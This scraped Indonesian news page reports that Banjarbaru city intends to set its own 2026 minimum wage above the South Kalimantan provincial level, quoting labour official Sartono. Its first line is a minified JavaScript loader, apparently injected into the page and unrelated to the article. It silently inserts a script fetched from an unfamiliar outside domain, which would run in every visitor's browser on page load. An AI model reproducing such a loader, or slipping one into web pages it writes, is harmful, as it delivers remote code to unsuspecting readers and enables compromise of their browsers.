(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Banjarbaru Tetapkan UMK Sendiri, Angka di Atas UMP Kalsel


KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota Banjarbaru memastikan akan menetapkan Upah Minimum Kota (UMK) 2026.

Dinas Koperasi Usaha Mikro dan Tenaga Kerja (Diskopumnaker) Kota Banjarbaru telah menyusun sejumlah persyaratan untuk dapat menetapkan UMK sendiri.

Kepala Diskopumnaker Kota Banjarbaru Sartono menyebut, pada tutup tahun 2025 pihaknya telah menyusun rencana, karena. Kota Banjarbaru telah memenuhi persyaratan untuk dapat menetapkan UMK sendiri.

Baca juga: Catatan Akhir Tahun Walhi Kalsel: ‘Kiamat Ekologis’ dari Deforestasi dan Alih Fungsi Hutan

Salah satu persyaratan adalah dalam tiga tahun terakhir pertumbuhan ekonomi Kota Banjarbaru berada di atas Provinsi Kalimantan Selatan (Kalsel).

“Atau pertumbuhan ekonomi dikurangi inflasi, hasilnya positif. Dari kedua persyaratan tersebut, kalau sudah memenuhi salah satu syaratnya maka suatu kota dapat menetapkan UMK sendiri,” ujar Kepala Diskopumnaker Kota Banjarbaru Sartono, Selasa (23/12/2025).

Kota Banjarbaru dari persyaratan tersebut telah dipenuhi sehingga tahun ini dapat menyusun rencana penetapan UMK Banjarbaru sendiri.

Baca juga: Akhirnya Kabel Optik Menjuntai A Yani Km 31,5 Dirapikan

Sedangkan untuk besaran UMK masih menunggu Surat Keputusan dari Gubernur Kalsel. Namun, Sartono memastikan besaran standar upah akan lebih besar dari Upah Minimum Provinsi (UMP).

“Karena persyaratan untuk menetapkan UMK harus di atas UMP. Alhamdulillah kalau di atas UMP kita bisa menetapkan sendiri dan kita usulkan ke Provinsi Kalsel,” jelas dia.

“Untuk angkanya kita belum bisa menyampaikan karena belum ditetapkan oleh Gubernur, makanya sifatnya kita usulan, tetapi dipastikan di atas provinsi,” sambungnya.

Baca juga: Kapolda Kalsel Cek Kesiapan Jelang Acara Rutin 5 Rajab Sekumpul

Pemko Banjarbaru telah memiliki Dewan Pengupahan untuk mendukung penetapan UMK di Banjarbaru ke depannya.

“Karena ada beberapa aspirasi dari masyarakat, kenapa UMK Banjarbaru tidak ditetapkan sendiri, jadi kemarin mengumpulkan data berdasarkan kriteria, indikator, variable untuk menetapkan UMK sendiri. Alhamdulillah terpenuhi,” tuntas Sartono. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

12 jam ago

‎Berbagi Semangat Mengaji dengan Dansatgas TMMD di TPA Al Ikhlas

‎KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More

18 jam ago

Hendak Tawuran, 16 Remaja Bawa Sajam Diamankan

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More

18 jam ago

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

1 hari ago

Banjarmasin Masih ‘Darurat Sampah’, Dorong Pengolahan Sampah Organik Mandiri

KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More

1 hari ago

Stadion Internasional di Landasan Ulin Barat, Lahan 28,7 Hektare Disiapkan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More

2 hari ago

This website uses cookies.